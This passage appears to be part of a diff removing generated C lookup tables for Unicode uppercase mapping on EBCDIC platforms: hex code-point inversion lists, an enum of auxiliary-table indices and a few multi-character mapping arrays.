0x24B6, - 0, - 0x2C00, - 0, - 0x2C60, - 0, - 0x23A, - 0x23E, - 0, - 0x2C67, - 0, - 0x2C69, - 0, - 0x2C6B, - 0, - 0x2C72, - 0, - 0x2C75, - 0, - 0x2C80, - 0, - 0x2C82, - 0, - 0x2C84, - 0, - 0x2C86, - 0, - 0x2C88, - 0, - 0x2C8A, - 0, - 0x2C8C, - 0, - 0x2C8E, - 0, - 0x2C90, - 0, - 0x2C92, - 0, - 0x2C94, - 0, - 0x2C96, - 0, - 0x2C98, - 0, - 0x2C9A, - 0, - 0x2C9C, - 0, - 0x2C9E, - 0, - 0x2CA0, - 0, - 0x2CA2, - 0, - 0x2CA4, - 0, - 0x2CA6, - 0, - 0x2CA8, - 0, - 0x2CAA, - 0, - 0x2CAC, - 0, - 0x2CAE, - 0, - 0x2CB0, - 0, - 0x2CB2, - 0, - 0x2CB4, - 0, - 0x2CB6, - 0, - 0x2CB8, - 0, - 0x2CBA, - 0, - 0x2CBC, - 0, - 0x2CBE, - 0, - 0x2CC0, - 0, - 0x2CC2, - 0, - 0x2CC4, - 0, - 0x2CC6, - 0, - 0x2CC8, - 0, - 0x2CCA, - 0, - 0x2CCC, - 0, - 0x2CCE, - 0, - 0x2CD0, - 0, - 0x2CD2, - 0, - 0x2CD4, - 0, - 0x2CD6, - 0, - 0x2CD8, - 0, - 0x2CDA, - 0, - 0x2CDC, - 0, - 0x2CDE, - 0, - 0x2CE0, - 0, - 0x2CE2, - 0, - 0x2CEB, - 0, - 0x2CED, - 0, - 0x2CF2, - 0, - 0x10A0, - 0, - 0x10C7, - 0, - 0x10CD, - 0, - 0xA640, - 0, - 0xA642, - 0, - 0xA644, - 0, - 0xA646, - 0, - 0xA648, - 0, - 0xA64A, - 0, - 0xA64C, - 0, - 0xA64E, - 0, - 0xA650, - 0, - 0xA652, - 0, - 0xA654, - 0, - 0xA656, - 0, - 0xA658, - 0, - 0xA65A, - 0, - 0xA65C, - 0, - 0xA65E, - 0, - 0xA660, - 0, - 0xA662, - 0, - 0xA664, - 0, - 0xA666, - 0, - 0xA668, - 0, - 0xA66A, - 0, - 0xA66C, - 0, - 0xA680, - 0, - 0xA682, - 0, - 0xA684, - 0, - 0xA686, - 0, - 0xA688, - 0, - 0xA68A, - 0, - 0xA68C, - 0, - 0xA68E, - 0, - 0xA690, - 0, - 0xA692, - 0, - 0xA694, - 0, - 0xA696, - 0, - 0xA698, - 0, - 0xA69A, - 0, - 0xA722, - 0, - 0xA724, - 0, - 0xA726, - 0, - 0xA728, - 0, - 0xA72A, - 0, - 0xA72C, - 0, - 0xA72E, - 0, - 0xA732, - 0, - 0xA734, - 0, - 0xA736, - 0, - 0xA738, - 0, - 0xA73A, - 0, - 0xA73C, - 0, - 0xA73E, - 0, - 0xA740, - 0, - 0xA742, - 0, - 0xA744, - 0, - 0xA746, - 0, - 0xA748, - 0, - 0xA74A, - 0, - 0xA74C, - 0, - 0xA74E, - 0, - 0xA750, - 0, - 0xA752, - 0, - 0xA754, - 0, - 0xA756, - 0, - 0xA758, - 0, - 0xA75A, - 0, - 0xA75C, - 0, - 0xA75E, - 0, - 0xA760, - 0, - 0xA762, - 0, - 0xA764, - 0, - 0xA766, - 0, - 0xA768, - 0, - 0xA76A, - 0, - 0xA76C, - 0, - 0xA76E, - 0, - 0xA779, - 0, - 0xA77B, - 0, - 0xA77E, - 0, - 0xA780, - 0, - 0xA782, - 0, - 0xA784, - 0, - 0xA786, - 0, - 0xA78B, - 0, - 0xA790, - 0, - 0xA792, - 0, - 0xA796, - 0, - 0xA798, - 0, - 0xA79A, - 0, - 0xA79C, - 0, - 0xA79E, - 0, - 0xA7A0, - 0, - 0xA7A2, - 0, - 0xA7A4, - 0, - 0xA7A6, - 0, - 0xA7A8, - 0, - 0xA7B4, - 0, - 0xA7B6, - 0, - 0xA7B3, - 0, - 0x13A0, - 0, - UC_use_AUX_TABLE_62, - UC_use_AUX_TABLE_63, - UC_use_AUX_TABLE_64, - UC_use_AUX_TABLE_65, - UC_use_AUX_TABLE_66, - UC_use_AUX_TABLE_67, - 0, - UC_use_AUX_TABLE_68, - UC_use_AUX_TABLE_69, - UC_use_AUX_TABLE_70, - UC_use_AUX_TABLE_71, - UC_use_AUX_TABLE_72, - 0, - 0xFF21, - 0, - 0x10400, - 0, - 0x104B0, - 0, - 0x10C80, - 0, - 0x118A0, - 0, - 0x1E900, - 0 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV Uppercase_Mapping_invlist[] = { /* for EBCDIC 037 */ - 1379, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0x4A, - 0x51, - 0x59, - 0x5A, - 0x70, - 0x71, - 0x81, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9A, - 0x9C, - 0x9D, - 0xA0, - 0xA1, - 0xA2, - 0xAA, - 0xCB, - 0xD0, - 0xDB, - 0xDF, - 0xE0, - 0x101, - 0x102, - 0x103, - 0x104, - 0x105, - 0x106, - 0x107, - 0x108, - 0x109, - 0x10A, - 0x10B, - 0x10C, - 0x10D, - 0x10E, - 0x10F, - 0x110, - 0x111, - 0x112, - 0x113, - 0x114, - 0x115, - 0x116, - 0x117, - 0x118, - 0x119, - 0x11A, - 0x11B, - 0x11C, - 0x11D, - 0x11E, - 0x11F, - 0x120, - 0x121, - 0x122, - 0x123, - 0x124, - 0x125, - 0x126, - 0x127, - 0x128, - 0x129, - 0x12A, - 0x12B, - 0x12C, - 0x12D, - 0x12E, - 0x12F, - 0x130, - 0x131, - 0x132, - 0x133, - 0x134, - 0x135, - 0x136, - 0x137, - 0x138, - 0x13A, - 0x13B, - 0x13C, - 0x13D, - 0x13E, - 0x13F, - 0x140, - 0x141, - 0x142, - 0x143, - 0x144, - 0x145, - 0x146, - 0x147, - 0x148, - 0x149, - 0x14A, - 0x14B, - 0x14C, - 0x14D, - 0x14E, - 0x14F, - 0x150, - 0x151, - 0x152, - 0x153, - 0x154, - 0x155, - 0x156, - 0x157, - 0x158, - 0x159, - 0x15A, - 0x15B, - 0x15C, - 0x15D, - 0x15E, - 0x15F, - 0x160, - 0x161, - 0x162, - 0x163, - 0x164, - 0x165, - 0x166, - 0x167, - 0x168, - 0x169, - 0x16A, - 0x16B, - 0x16C, - 0x16D, - 0x16E, - 0x16F, - 0x170, - 0x171, - 0x172, - 0x173, - 0x174, - 0x175, - 0x176, - 0x177, - 0x178, - 0x17A, - 0x17B, - 0x17C, - 0x17D, - 0x17E, - 0x17F, - 0x180, - 0x181, - 0x183, - 0x184, - 0x185, - 0x186, - 0x188, - 0x189, - 0x18C, - 0x18D, - 0x192, - 0x193, - 0x195, - 0x196, - 0x199, - 0x19A, - 0x19B, - 0x19E, - 0x19F, - 0x1A1, - 0x1A2, - 0x1A3, - 0x1A4, - 0x1A5, - 0x1A6, - 0x1A8, - 0x1A9, - 0x1AD, - 0x1AE, - 0x1B0, - 0x1B1, - 0x1B4, - 0x1B5, - 0x1B6, - 0x1B7, - 0x1B9, - 0x1BA, - 0x1BD, - 0x1BE, - 0x1BF, - 0x1C0, - 0x1C5, - 0x1C6, - 0x1C7, - 0x1C8, - 0x1C9, - 0x1CA, - 0x1CB, - 0x1CC, - 0x1CD, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DD, - 0x1DE, - 0x1DF, - 0x1E0, - 0x1E1, - 0x1E2, - 0x1E3, - 0x1E4, - 0x1E5, - 0x1E6, - 0x1E7, - 0x1E8, - 0x1E9, - 0x1EA, - 0x1EB, - 0x1EC, - 0x1ED, - 0x1EE, - 0x1EF, - 0x1F0, - 0x1F1, - 0x1F2, - 0x1F3, - 0x1F4, - 0x1F5, - 0x1F6, - 0x1F9, - 0x1FA, - 0x1FB, - 0x1FC, - 0x1FD, - 0x1FE, - 0x1FF, - 0x200, - 0x201, - 0x202, - 0x203, - 0x204, - 0x205, - 0x206, - 0x207, - 0x208, - 0x209, - 0x20A, - 0x20B, - 0x20C, - 0x20D, - 0x20E, - 0x20F, - 0x210, - 0x211, - 0x212, - 0x213, - 0x214, - 0x215, - 0x216, - 0x217, - 0x218, - 0x219, - 0x21A, - 0x21B, - 0x21C, - 0x21D, - 0x21E, - 0x21F, - 0x220, - 0x223, - 0x224, - 0x225, - 0x226, - 0x227, - 0x228, - 0x229, - 0x22A, - 0x22B, - 0x22C, - 0x22D, - 0x22E, - 0x22F, - 0x230, - 0x231, - 0x232, - 0x233, - 0x234, - 0x23C, - 0x23D, - 0x23F, - 0x241, - 0x242, - 0x243, - 0x247, - 0x248, - 0x249, - 0x24A, - 0x24B, - 0x24C, - 0x24D, - 0x24E, - 0x24F, - 0x250, - 0x251, - 0x252, - 0x253, - 0x254, - 0x255, - 0x256, - 0x258, - 0x259, - 0x25A, - 0x25B, - 0x25C, - 0x25D, - 0x260, - 0x261, - 0x262, - 0x263, - 0x264, - 0x265, - 0x266, - 0x267, - 0x268, - 0x269, - 0x26A, - 0x26B, - 0x26C, - 0x26D, - 0x26F, - 0x270, - 0x271, - 0x272, - 0x273, - 0x275, - 0x276, - 0x27D, - 0x27E, - 0x280, - 0x281, - 0x283, - 0x284, - 0x287, - 0x288, - 0x289, - 0x28A, - 0x28C, - 0x28D, - 0x292, - 0x293, - 0x29D, - 0x29E, - 0x29F, - 0x345, - 0x346, - 0x371, - 0x372, - 0x373, - 0x374, - 0x377, - 0x378, - 0x37B, - 0x37E, - 0x390, - 0x391, - 0x3AC, - 0x3AD, - 0x3B0, - 0x3B1, - 0x3C2, - 0x3C3, - 0x3CC, - 0x3CD, - 0x3CF, - 0x3D0, - 0x3D1, - 0x3D2, - 0x3D5, - 0x3D6, - 0x3D7, - 0x3D8, - 0x3D9, - 0x3DA, - 0x3DB, - 0x3DC, - 0x3DD, - 0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x3E3, - 0x3E4, - 0x3E5, - 0x3E6, - 0x3E7, - 0x3E8, - 0x3E9, - 0x3EA, - 0x3EB, - 0x3EC, - 0x3ED, - 0x3EE, - 0x3EF, - 0x3F0, - 0x3F1, - 0x3F2, - 0x3F3, - 0x3F4, - 0x3F5, - 0x3F6, - 0x3F8, - 0x3F9, - 0x3FB, - 0x3FC, - 0x430, - 0x450, - 0x460, - 0x461, - 0x462, - 0x463, - 0x464, - 0x465, - 0x466, - 0x467, - 0x468, - 0x469, - 0x46A, - 0x46B, - 0x46C, - 0x46D, - 0x46E, - 0x46F, - 0x470, - 0x471, - 0x472, - 0x473, - 0x474, - 0x475, - 0x476, - 0x477, - 0x478, - 0x479, - 0x47A, - 0x47B, - 0x47C, - 0x47D, - 0x47E, - 0x47F, - 0x480, - 0x481, - 0x482, - 0x48B, - 0x48C, - 0x48D, - 0x48E, - 0x48F, - 0x490, - 0x491, - 0x492, - 0x493, - 0x494, - 0x495, - 0x496, - 0x497, - 0x498, - 0x499, - 0x49A, - 0x49B, - 0x49C, - 0x49D, - 0x49E, - 0x49F, - 0x4A0, - 0x4A1, - 0x4A2, - 0x4A3, - 0x4A4, - 0x4A5, - 0x4A6, - 0x4A7, - 0x4A8, - 0x4A9, - 0x4AA, - 0x4AB, - 0x4AC, - 0x4AD, - 0x4AE, - 0x4AF, - 0x4B0, - 0x4B1, - 0x4B2, - 0x4B3, - 0x4B4, - 0x4B5, - 0x4B6, - 0x4B7, - 0x4B8, - 0x4B9, - 0x4BA, - 0x4BB, - 0x4BC, - 0x4BD, - 0x4BE, - 0x4BF, - 0x4C0, - 0x4C2, - 0x4C3, - 0x4C4, - 0x4C5, - 0x4C6, - 0x4C7, - 0x4C8, - 0x4C9, - 0x4CA, - 0x4CB, - 0x4CC, - 0x4CD, - 0x4CE, - 0x4CF, - 0x4D0, - 0x4D1, - 0x4D2, - 0x4D3, - 0x4D4, - 0x4D5, - 0x4D6, - 0x4D7, - 0x4D8, - 0x4D9, - 0x4DA, - 0x4DB, - 0x4DC, - 0x4DD, - 0x4DE, - 0x4DF, - 0x4E0, - 0x4E1, - 0x4E2, - 0x4E3, - 0x4E4, - 0x4E5, - 0x4E6, - 0x4E7, - 0x4E8, - 0x4E9, - 0x4EA, - 0x4EB, - 0x4EC, - 0x4ED, - 0x4EE, - 0x4EF, - 0x4F0, - 0x4F1, - 0x4F2, - 0x4F3, - 0x4F4, - 0x4F5, - 0x4F6, - 0x4F7, - 0x4F8, - 0x4F9, - 0x4FA, - 0x4FB, - 0x4FC, - 0x4FD, - 0x4FE, - 0x4FF, - 0x500, - 0x501, - 0x502, - 0x503, - 0x504, - 0x505, - 0x506, - 0x507, - 0x508, - 0x509, - 0x50A, - 0x50B, - 0x50C, - 0x50D, - 0x50E, - 0x50F, - 0x510, - 0x511, - 0x512, - 0x513, - 0x514, - 0x515, - 0x516, - 0x517, - 0x518, - 0x519, - 0x51A, - 0x51B, - 0x51C, - 0x51D, - 0x51E, - 0x51F, - 0x520, - 0x521, - 0x522, - 0x523, - 0x524, - 0x525, - 0x526, - 0x527, - 0x528, - 0x529, - 0x52A, - 0x52B, - 0x52C, - 0x52D, - 0x52E, - 0x52F, - 0x530, - 0x561, - 0x587, - 0x588, - 0x13F8, - 0x13FE, - 0x1C80, - 0x1C81, - 0x1C82, - 0x1C83, - 0x1C85, - 0x1C86, - 0x1C87, - 0x1C88, - 0x1C89, - 0x1D79, - 0x1D7A, - 0x1D7D, - 0x1D7E, - 0x1E01, - 0x1E02, - 0x1E03, - 0x1E04, - 0x1E05, - 0x1E06, - 0x1E07, - 0x1E08, - 0x1E09, - 0x1E0A, - 0x1E0B, - 0x1E0C, - 0x1E0D, - 0x1E0E, - 0x1E0F, - 0x1E10, - 0x1E11, - 0x1E12, - 0x1E13, - 0x1E14, - 0x1E15, - 0x1E16, - 0x1E17, - 0x1E18, - 0x1E19, - 0x1E1A, - 0x1E1B, - 0x1E1C, - 0x1E1D, - 0x1E1E, - 0x1E1F, - 0x1E20, - 0x1E21, - 0x1E22, - 0x1E23, - 0x1E24, - 0x1E25, - 0x1E26, - 0x1E27, - 0x1E28, - 0x1E29, - 0x1E2A, - 0x1E2B, - 0x1E2C, - 0x1E2D, - 0x1E2E, - 0x1E2F, - 0x1E30, - 0x1E31, - 0x1E32, - 0x1E33, - 0x1E34, - 0x1E35, - 0x1E36, - 0x1E37, - 0x1E38, - 0x1E39, - 0x1E3A, - 0x1E3B, - 0x1E3C, - 0x1E3D, - 0x1E3E, - 0x1E3F, - 0x1E40, - 0x1E41, - 0x1E42, - 0x1E43, - 0x1E44, - 0x1E45, - 0x1E46, - 0x1E47, - 0x1E48, - 0x1E49, - 0x1E4A, - 0x1E4B, - 0x1E4C, - 0x1E4D, - 0x1E4E, - 0x1E4F, - 0x1E50, - 0x1E51, - 0x1E52, - 0x1E53, - 0x1E54, - 0x1E55, - 0x1E56, - 0x1E57, - 0x1E58, - 0x1E59, - 0x1E5A, - 0x1E5B, - 0x1E5C, - 0x1E5D, - 0x1E5E, - 0x1E5F, - 0x1E60, - 0x1E61, - 0x1E62, - 0x1E63, - 0x1E64, - 0x1E65, - 0x1E66, - 0x1E67, - 0x1E68, - 0x1E69, - 0x1E6A, - 0x1E6B, - 0x1E6C, - 0x1E6D, - 0x1E6E, - 0x1E6F, - 0x1E70, - 0x1E71, - 0x1E72, - 0x1E73, - 0x1E74, - 0x1E75, - 0x1E76, - 0x1E77, - 0x1E78, - 0x1E79, - 0x1E7A, - 0x1E7B, - 0x1E7C, - 0x1E7D, - 0x1E7E, - 0x1E7F, - 0x1E80, - 0x1E81, - 0x1E82, - 0x1E83, - 0x1E84, - 0x1E85, - 0x1E86, - 0x1E87, - 0x1E88, - 0x1E89, - 0x1E8A, - 0x1E8B, - 0x1E8C, - 0x1E8D, - 0x1E8E, - 0x1E8F, - 0x1E90, - 0x1E91, - 0x1E92, - 0x1E93, - 0x1E94, - 0x1E95, - 0x1E96, - 0x1E97, - 0x1E98, - 0x1E99, - 0x1E9A, - 0x1E9B, - 0x1E9C, - 0x1EA1, - 0x1EA2, - 0x1EA3, - 0x1EA4, - 0x1EA5, - 0x1EA6, - 0x1EA7, - 0x1EA8, - 0x1EA9, - 0x1EAA, - 0x1EAB, - 0x1EAC, - 0x1EAD, - 0x1EAE, - 0x1EAF, - 0x1EB0, - 0x1EB1, - 0x1EB2, - 0x1EB3, - 0x1EB4, - 0x1EB5, - 0x1EB6, - 0x1EB7, - 0x1EB8, - 0x1EB9, - 0x1EBA, - 0x1EBB, - 0x1EBC, - 0x1EBD, - 0x1EBE, - 0x1EBF, - 0x1EC0, - 0x1EC1, - 0x1EC2, - 0x1EC3, - 0x1EC4, - 0x1EC5, - 0x1EC6, - 0x1EC7, - 0x1EC8, - 0x1EC9, - 0x1ECA, - 0x1ECB, - 0x1ECC, - 0x1ECD, - 0x1ECE, - 0x1ECF, - 0x1ED0, - 0x1ED1, - 0x1ED2, - 0x1ED3, - 0x1ED4, - 0x1ED5, - 0x1ED6, - 0x1ED7, - 0x1ED8, - 0x1ED9, - 0x1EDA, - 0x1EDB, - 0x1EDC, - 0x1EDD, - 0x1EDE, - 0x1EDF, - 0x1EE0, - 0x1EE1, - 0x1EE2, - 0x1EE3, - 0x1EE4, - 0x1EE5, - 0x1EE6, - 0x1EE7, - 0x1EE8, - 0x1EE9, - 0x1EEA, - 0x1EEB, - 0x1EEC, - 0x1EED, - 0x1EEE, - 0x1EEF, - 0x1EF0, - 0x1EF1, - 0x1EF2, - 0x1EF3, - 0x1EF4, - 0x1EF5, - 0x1EF6, - 0x1EF7, - 0x1EF8, - 0x1EF9, - 0x1EFA, - 0x1EFB, - 0x1EFC, - 0x1EFD, - 0x1EFE, - 0x1EFF, - 0x1F00, - 0x1F08, - 0x1F10, - 0x1F16, - 0x1F20, - 0x1F28, - 0x1F30, - 0x1F38, - 0x1F40, - 0x1F46, - 0x1F50, - 0x1F51, - 0x1F52, - 0x1F53, - 0x1F54, - 0x1F55, - 0x1F56, - 0x1F57, - 0x1F58, - 0x1F60, - 0x1F68, - 0x1F70, - 0x1F72, - 0x1F76, - 0x1F78, - 0x1F7A, - 0x1F7C, - 0x1F7E, - 0x1F80, - 0x1F81, - 0x1F82, - 0x1F83, - 0x1F84, - 0x1F85, - 0x1F86, - 0x1F87, - 0x1F88, - 0x1F89, - 0x1F8A, - 0x1F8B, - 0x1F8C, - 0x1F8D, - 0x1F8E, - 0x1F8F, - 0x1F90, - 0x1F91, - 0x1F92, - 0x1F93, - 0x1F94, - 0x1F95, - 0x1F96, - 0x1F97, - 0x1F98, - 0x1F99, - 0x1F9A, - 0x1F9B, - 0x1F9C, - 0x1F9D, - 0x1F9E, - 0x1F9F, - 0x1FA0, - 0x1FA1, - 0x1FA2, - 0x1FA3, - 0x1FA4, - 0x1FA5, - 0x1FA6, - 0x1FA7, - 0x1FA8, - 0x1FA9, - 0x1FAA, - 0x1FAB, - 0x1FAC, - 0x1FAD, - 0x1FAE, - 0x1FAF, - 0x1FB0, - 0x1FB2, - 0x1FB3, - 0x1FB4, - 0x1FB5, - 0x1FB6, - 0x1FB7, - 0x1FB8, - 0x1FBC, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC3, - 0x1FC4, - 0x1FC5, - 0x1FC6, - 0x1FC7, - 0x1FC8, - 0x1FCC, - 0x1FCD, - 0x1FD0, - 0x1FD2, - 0x1FD3, - 0x1FD4, - 0x1FD6, - 0x1FD7, - 0x1FD8, - 0x1FE0, - 0x1FE2, - 0x1FE3, - 0x1FE4, - 0x1FE5, - 0x1FE6, - 0x1FE7, - 0x1FE8, - 0x1FF2, - 0x1FF3, - 0x1FF4, - 0x1FF5, - 0x1FF6, - 0x1FF7, - 0x1FF8, - 0x1FFC, - 0x1FFD, - 0x214E, - 0x214F, - 0x2170, - 0x2180, - 0x2184, - 0x2185, - 0x24D0, - 0x24EA, - 0x2C30, - 0x2C5F, - 0x2C61, - 0x2C62, - 0x2C65, - 0x2C66, - 0x2C67, - 0x2C68, - 0x2C69, - 0x2C6A, - 0x2C6B, - 0x2C6C, - 0x2C6D, - 0x2C73, - 0x2C74, - 0x2C76, - 0x2C77, - 0x2C81, - 0x2C82, - 0x2C83, - 0x2C84, - 0x2C85, - 0x2C86, - 0x2C87, - 0x2C88, - 0x2C89, - 0x2C8A, - 0x2C8B, - 0x2C8C, - 0x2C8D, - 0x2C8E, - 0x2C8F, - 0x2C90, - 0x2C91, - 0x2C92, - 0x2C93, - 0x2C94, - 0x2C95, - 0x2C96, - 0x2C97, - 0x2C98, - 0x2C99, - 0x2C9A, - 0x2C9B, - 0x2C9C, - 0x2C9D, - 0x2C9E, - 0x2C9F, - 0x2CA0, - 0x2CA1, - 0x2CA2, - 0x2CA3, - 0x2CA4, - 0x2CA5, - 0x2CA6, - 0x2CA7, - 0x2CA8, - 0x2CA9, - 0x2CAA, - 0x2CAB, - 0x2CAC, - 0x2CAD, - 0x2CAE, - 0x2CAF, - 0x2CB0, - 0x2CB1, - 0x2CB2, - 0x2CB3, - 0x2CB4, - 0x2CB5, - 0x2CB6, - 0x2CB7, - 0x2CB8, - 0x2CB9, - 0x2CBA, - 0x2CBB, - 0x2CBC, - 0x2CBD, - 0x2CBE, - 0x2CBF, - 0x2CC0, - 0x2CC1, - 0x2CC2, - 0x2CC3, - 0x2CC4, - 0x2CC5, - 0x2CC6, - 0x2CC7, - 0x2CC8, - 0x2CC9, - 0x2CCA, - 0x2CCB, - 0x2CCC, - 0x2CCD, - 0x2CCE, - 0x2CCF, - 0x2CD0, - 0x2CD1, - 0x2CD2, - 0x2CD3, - 0x2CD4, - 0x2CD5, - 0x2CD6, - 0x2CD7, - 0x2CD8, - 0x2CD9, - 0x2CDA, - 0x2CDB, - 0x2CDC, - 0x2CDD, - 0x2CDE, - 0x2CDF, - 0x2CE0, - 0x2CE1, - 0x2CE2, - 0x2CE3, - 0x2CE4, - 0x2CEC, - 0x2CED, - 0x2CEE, - 0x2CEF, - 0x2CF3, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0xA641, - 0xA642, - 0xA643, - 0xA644, - 0xA645, - 0xA646, - 0xA647, - 0xA648, - 0xA649, - 0xA64A, - 0xA64B, - 0xA64C, - 0xA64D, - 0xA64E, - 0xA64F, - 0xA650, - 0xA651, - 0xA652, - 0xA653, - 0xA654, - 0xA655, - 0xA656, - 0xA657, - 0xA658, - 0xA659, - 0xA65A, - 0xA65B, - 0xA65C, - 0xA65D, - 0xA65E, - 0xA65F, - 0xA660, - 0xA661, - 0xA662, - 0xA663, - 0xA664, - 0xA665, - 0xA666, - 0xA667, - 0xA668, - 0xA669, - 0xA66A, - 0xA66B, - 0xA66C, - 0xA66D, - 0xA66E, - 0xA681, - 0xA682, - 0xA683, - 0xA684, - 0xA685, - 0xA686, - 0xA687, - 0xA688, - 0xA689, - 0xA68A, - 0xA68B, - 0xA68C, - 0xA68D, - 0xA68E, - 0xA68F, - 0xA690, - 0xA691, - 0xA692, - 0xA693, - 0xA694, - 0xA695, - 0xA696, - 0xA697, - 0xA698, - 0xA699, - 0xA69A, - 0xA69B, - 0xA69C, - 0xA723, - 0xA724, - 0xA725, - 0xA726, - 0xA727, - 0xA728, - 0xA729, - 0xA72A, - 0xA72B, - 0xA72C, - 0xA72D, - 0xA72E, - 0xA72F, - 0xA730, - 0xA733, - 0xA734, - 0xA735, - 0xA736, - 0xA737, - 0xA738, - 0xA739, - 0xA73A, - 0xA73B, - 0xA73C, - 0xA73D, - 0xA73E, - 0xA73F, - 0xA740, - 0xA741, - 0xA742, - 0xA743, - 0xA744, - 0xA745, - 0xA746, - 0xA747, - 0xA748, - 0xA749, - 0xA74A, - 0xA74B, - 0xA74C, - 0xA74D, - 0xA74E, - 0xA74F, - 0xA750, - 0xA751, - 0xA752, - 0xA753, - 0xA754, - 0xA755, - 0xA756, - 0xA757, - 0xA758, - 0xA759, - 0xA75A, - 0xA75B, - 0xA75C, - 0xA75D, - 0xA75E, - 0xA75F, - 0xA760, - 0xA761, - 0xA762, - 0xA763, - 0xA764, - 0xA765, - 0xA766, - 0xA767, - 0xA768, - 0xA769, - 0xA76A, - 0xA76B, - 0xA76C, - 0xA76D, - 0xA76E, - 0xA76F, - 0xA770, - 0xA77A, - 0xA77B, - 0xA77C, - 0xA77D, - 0xA77F, - 0xA780, - 0xA781, - 0xA782, - 0xA783, - 0xA784, - 0xA785, - 0xA786, - 0xA787, - 0xA788, - 0xA78C, - 0xA78D, - 0xA791, - 0xA792, - 0xA793, - 0xA794, - 0xA797, - 0xA798, - 0xA799, - 0xA79A, - 0xA79B, - 0xA79C, - 0xA79D, - 0xA79E, - 0xA79F, - 0xA7A0, - 0xA7A1, - 0xA7A2, - 0xA7A3, - 0xA7A4, - 0xA7A5, - 0xA7A6, - 0xA7A7, - 0xA7A8, - 0xA7A9, - 0xA7AA, - 0xA7B5, - 0xA7B6, - 0xA7B7, - 0xA7B8, - 0xAB53, - 0xAB54, - 0xAB70, - 0xABC0, - 0xFB00, - 0xFB01, - 0xFB02, - 0xFB03, - 0xFB04, - 0xFB05, - 0xFB07, - 0xFB13, - 0xFB14, - 0xFB15, - 0xFB16, - 0xFB17, - 0xFB18, - 0xFF41, - 0xFF5B, - 0x10428, - 0x10450, - 0x104D8, - 0x104FC, - 0x10CC0, - 0x10CF3, - 0x118C0, - 0x118E0, - 0x1E922, - 0x1E944 -}; - -/* Negative enum values indicate the need to use an auxiliary table - * consisting of the list of enums this one expands to. The absolute - * values of the negative enums are indices into a table of the auxiliary - * tables' addresses */ -typedef enum { - UC_0 = 0, - UC_use_AUX_TABLE_1 = -1, - UC_use_AUX_TABLE_2 = -2, - UC_use_AUX_TABLE_3 = -3, - UC_use_AUX_TABLE_4 = -4, - UC_use_AUX_TABLE_5 = -5, - UC_use_AUX_TABLE_6 = -6, - UC_use_AUX_TABLE_7 = -7, - UC_use_AUX_TABLE_8 = -8, - UC_use_AUX_TABLE_9 = -9, - UC_use_AUX_TABLE_10 = -10, - UC_use_AUX_TABLE_11 = -11, - UC_use_AUX_TABLE_12 = -12, - UC_use_AUX_TABLE_13 = -13, - UC_use_AUX_TABLE_14 = -14, - UC_use_AUX_TABLE_15 = -15, - UC_use_AUX_TABLE_16 = -16, - UC_use_AUX_TABLE_17 = -17, - UC_use_AUX_TABLE_18 = -18, - UC_use_AUX_TABLE_19 = -19, - UC_use_AUX_TABLE_20 = -20, - UC_use_AUX_TABLE_21 = -21, - UC_use_AUX_TABLE_22 = -22, - UC_use_AUX_TABLE_23 = -23, - UC_use_AUX_TABLE_24 = -24, - UC_use_AUX_TABLE_25 = -25, - UC_use_AUX_TABLE_26 = -26, - UC_use_AUX_TABLE_27 = -27, - UC_use_AUX_TABLE_28 = -28, - UC_use_AUX_TABLE_29 = -29, - UC_use_AUX_TABLE_30 = -30, - UC_use_AUX_TABLE_31 = -31, - UC_use_AUX_TABLE_32 = -32, - UC_use_AUX_TABLE_33 = -33, - UC_use_AUX_TABLE_34 = -34, - UC_use_AUX_TABLE_35 = -35, - UC_use_AUX_TABLE_36 = -36, - UC_use_AUX_TABLE_37 = -37, - UC_use_AUX_TABLE_38 = -38, - UC_use_AUX_TABLE_39 = -39, - UC_use_AUX_TABLE_40 = -40, - UC_use_AUX_TABLE_41 = -41, - UC_use_AUX_TABLE_42 = -42, - UC_use_AUX_TABLE_43 = -43, - UC_use_AUX_TABLE_44 = -44, - UC_use_AUX_TABLE_45 = -45, - UC_use_AUX_TABLE_46 = -46, - UC_use_AUX_TABLE_47 = -47, - UC_use_AUX_TABLE_48 = -48, - UC_use_AUX_TABLE_49 = -49, - UC_use_AUX_TABLE_50 = -50, - UC_use_AUX_TABLE_51 = -51, - UC_use_AUX_TABLE_52 = -52, - UC_use_AUX_TABLE_53 = -53, - UC_use_AUX_TABLE_54 = -54, - UC_use_AUX_TABLE_55 = -55, - UC_use_AUX_TABLE_56 = -56, - UC_use_AUX_TABLE_57 = -57, - UC_use_AUX_TABLE_58 = -58, - UC_use_AUX_TABLE_59 = -59, - UC_use_AUX_TABLE_60 = -60, - UC_use_AUX_TABLE_61 = -61, - UC_use_AUX_TABLE_62 = -62, - UC_use_AUX_TABLE_63 = -63, - UC_use_AUX_TABLE_64 = -64, - UC_use_AUX_TABLE_65 = -65, - UC_use_AUX_TABLE_66 = -66, - UC_use_AUX_TABLE_67 = -67, - UC_use_AUX_TABLE_68 = -68, - UC_use_AUX_TABLE_69 = -69, - UC_use_AUX_TABLE_70 = -70, - UC_use_AUX_TABLE_71 = -71, - UC_use_AUX_TABLE_72 = -72 -} UC_enum; - -#define HAS_UC_AUX_TABLES - -static const unsigned int UC_AUX_TABLE_1[] = { - 0xE2, - 0xE2 -}; - -static const unsigned int UC_AUX_TABLE_2[] = { - 0x2BC, - 0xD5 -}; - -static const unsigned int UC_AUX_TABLE_3[] = { - 0xD1, - 0x30C -}; - -static const unsigned int UC_AUX_TABLE_4[] = { - 0x399, - 0x308, - 0x301 -}; - -static const unsigned int UC_AUX_TABLE_5[] = { - 0x3A5, - 0x308, - 0x301 -}; - -static const unsigned int UC_AUX_TABLE_6[] = { - 0x535, - 0x552 -}; - 